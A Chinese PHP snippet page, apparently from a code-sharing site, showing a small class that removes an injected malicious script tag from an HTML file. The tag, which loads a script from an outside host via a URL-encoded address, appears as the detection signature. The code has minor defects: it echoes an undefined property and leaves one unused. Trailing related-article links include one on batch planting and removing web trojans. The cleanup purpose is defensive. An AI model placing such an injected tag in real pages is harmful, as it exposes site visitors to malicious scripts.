php 清除网页病毒的方法

yipeiwu_com5年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php下批量挂马和批量清马代码

复制代码 代码如下:<?php function gmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d->...

php heredoc和phpwind的模板技术使用方法小结

在PHP的文档中,只是提到了echo可以使用如下命令输出多行字符串(而且其中的变量被自动替换): PHP代码 复制代码 代码如下:echo <<<E...

PHP5.6新增加的可变函数参数用法分析

本文实例讲述了PHP5.6新增加的可变函数参数用法。分享给大家供大家参考,具体如下: 今天无事,看了下PHP手册。发现PHP版本更新增加不少东西。下面就说说其中的PHP5.6更新中新增加...

php Xdebug的安装与使用详解

php Xdebug的安装与使用详解

为什么需要Debugger?很多PHP程序员调试使用echo、print_r()、var_dump()、printf()等,其实对 于有较丰富开发经验的程序员来说这些也已经足够了,他们往...

[PHP]实用函数7

//打开一个到MySQL服务器的连接。成功返回连接符,失败时返回false int mysql_connect([string server[,string ...